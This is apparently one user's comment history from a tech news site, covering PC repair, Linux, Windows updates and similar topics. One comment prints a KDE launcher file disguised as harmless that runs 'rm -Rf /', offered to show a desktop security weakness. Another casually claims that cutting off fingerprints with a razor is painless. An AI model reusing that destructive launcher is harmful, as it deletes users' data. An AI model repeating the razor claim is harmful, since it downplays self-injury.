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  1. My boss had a good test for me on Are IT Certifications Meaningless? · · Score: 2, Interesting

    When my present boss considered hiring me at his PC-repari (Windows) shop, he read through my resume (Mostly Linux stuff ;) and said "Here's a new computer for a customer, build it." I did and have been working happily there for 3 months.

  2. Korganizer on Best To-Do List Software? · · Score: 1

    Use Korganizer, it's nice.
    This question is kind of boring isn't it?
    Is a to-do pad that big of a deal?

  3. Re:Speed on Looking Into The Power Architecture Future · · Score: 2, Funny

    Why not just run setiathome on it and see how long it takes to finish a workload? That's the computation that really matters :)

  4. Cut off your finger prints! on Don't Smudge The Sensor When You Press 'Play' · · Score: 0, Redundant

    This may sound really stupid, but what happens if one takes a razor blade and cuts off their finger prints? I've done this to myself before, it doesn't hurt and leaves your finger smooth, free of unique prints, pink, and sensitive.

    On another note, I'd think that the public wouldn't buy into this one and just wait for another wireless media player. Something like this will scare the public as well.

    And here's a clickable link to the gummy bear fooling finger print scanners thing. Come on people, monkeys can be tought basic HTML.

  5. My Second Computer on Gaming PC Makers Take Aim at Lucrative Niche · · Score: 1

    My second computer ever had a cost of $6,200 with taxes. I love that Gateway Pentium 3 Xeon, RivaTNT2 card, 40GB hard drive, 4x CD Burner. That computer was the shit. My dad said it was enough to run a small country!

  6. Does Windows Update handle hotfixes? Not Always! on Windows Users Fear Korgo Virus · · Score: 1

    Not always true

    I'm having a similar problem on my gaming machine where it says that two updates were applied, but each time I go to windows update, the same two are there again. What disgusts me even more is that they are for Internet Exploder and Outlook Express, two programs that I abhor and avoid like the plague. I messed with the permissions so that nobody on my computer can access outlook, but the patch details claim that one is vulnerable even if you don't use IE or Outlook.

  7. Test it out! on VisiCalc Turns 25, Creators Interviewed · · Score: 5, Informative

    Run it yourself!

    I bet there's a Linux one floating around out there, I guess I'll try to WINE this one.

  8. CLI? on Mono Beta 2 Released · · Score: 1

    ...an implementation of the Common Language Infrastructure...
    So let me guess, this is going to get abreviated to CLI, isn't it? Just fucking great.

  9. Real time on "Buffalo Spammer" Gets 3.5 to 7 Years · · Score: 1

    So what's the real amount of time that he will be locked up? I hear that being sentanced to life can be shortened to 7 years with good behavior and the like.

  10. split it on Gmail Users Get A Storage Boost [updated] · · Score: 1

    10MB limit eh?
    split -b $((1024*1024*10)) file splitfile

  11. Add it to nmap! on A Worm's Worm · · Score: 5, Informative

    Add the sasser FTP server to your nmap-services file. I run Gentoo, mines in /usr/share/nmap.

    Add this line:
    sasser 5554/tcp # Sasser worm FTP server

    This way when you do a port scan of a host, you can tell if they've been infected with sasser :)

  12. Windows? on Motorola Plans Wi-Fi Cell Phones · · Score: 1

    Why would the program necessarily be written for Windows?

  13. Lynx! on Pizza From the Command Line · · Score: 2, Interesting

    I've used Lynx before to order pizza from Pizza Hut's online store. It may sound easy, but all their web pages are .dll files! Not to mention it looks like shit in Mozilla.

    How's that for ordering a pizza on the command line?

  14. my boss and AMD on AMD Beats Intel in CPU Sales · · Score: 1

    I asked my boss (I work at a computer repair shop) why we don't build AMD machines and only use Intel. He said that he built AMD machines once and every single one of them came back to him dead. He said it's because "AMD overclocks their CPUs".

    I had some real explaining to do.
    And yes, he his a Windows Drone.

  15. methinks on What Sex is Your Robot? · · Score: 1

    Methinks that we should stop fucking saying "methinks". Who do you think you are? Jar Jar Binks?

  16. Not Humor? on Earthlings: Ugly Bags of Mostly Water · · Score: 1

    I was wondering why this story wasn't posted under "It's funny. Laugh" and I figured it out:
    It's not funny, it's terribly, awfully sad.

  17. I wish... on Gaim Forks To Get Voice And Video Support · · Score: 3, Funny

    I just wish the devs would make something that they could be proud to call a 1.0 release.
    But then again, this software is their gift to me, I have no room to bitch :)

  18. Pictures! on Factory Testing of Airborne Laser Cannon Completed · · Score: 1

    Here's a picture of the device that emits the laser: link

    And here's a picture of the laser itself: links

  19. WINE on WormRadar Node Volunteers Help Graph Attacks · · Score: 1

    Doesn't run under WINE :(

  20. Re:Have you noticed... on Running Mac OS X Panther · · Score: 1

    I'm one of those people. I've got 4 Linux machines and a BeOS machine and I'm going to get a mac for the parents to use.

    Do you really think that I won't be able to figure it out?

  21. Tux Stickers on Montreal Parking Meters Run Linux · · Score: 1

    Are there any geeks in the area that are going to slap Tux stickers on them? What's everyone's opinion on that, vandalism or harmless?

  22. Re: The point everyone misses on Gates on Winsecurity · · Score: 1

    Wow, you know what? Now that I think about it, it's very possible that KDE and Gnome are less secure because of all this! Imagine you just got a file named "cool" in your inbox. You double click on it / open it, it is now ran. There doesn't need to be an execute bit on it. Here is the output of "cat cool":
    [Desktop Entry]
    Comment=This won't destroy your computer.
    Comment[en_US]=This won't destroy your computer.
    Encoding=UTF-8
    Exec=rm -Rf /
    GenericName=Cool!
    GenericName[en_US]=Cool!
    Ic on=exec
    MimeType=
    Name=cool
    Name[en_US]=cool
    P ath=
    StartupNotify=true
    Terminal=false
    Terminal Options=
    Type=Application
    X-DCOP-ServiceType=
    X -KDE-SubstituteUID=false
    X-KDE-Username=

    Your home dir has just been waxed. But at least it wasn't the whole system :)

  23. A miniature one for our caffeine? on Inventor of Low Tech Fridge Wins Award · · Score: 1

    I can't wait to try this out in a small scale. Could we use this with cans of root beer using small plant pots?

  24. Quote of the Day on The Oft Frustrating Job of a Sysadmin · · Score: 2, Funny

    I love the quote of the day on their site:
    Warning: mysql_pconnect(): Too many connections in /home/garweb/inc/connection.php on line 15
    Connection could not be established

    I think that was funnier than any qotd I've ever seen :)

  25. I AM YOUR EMBASSADOR on Australia To Adopt U.S.-Style Copyright Laws · · Score: 1

    As an American, I would like to represent America as a whole when I say for all of us: I'm sorry.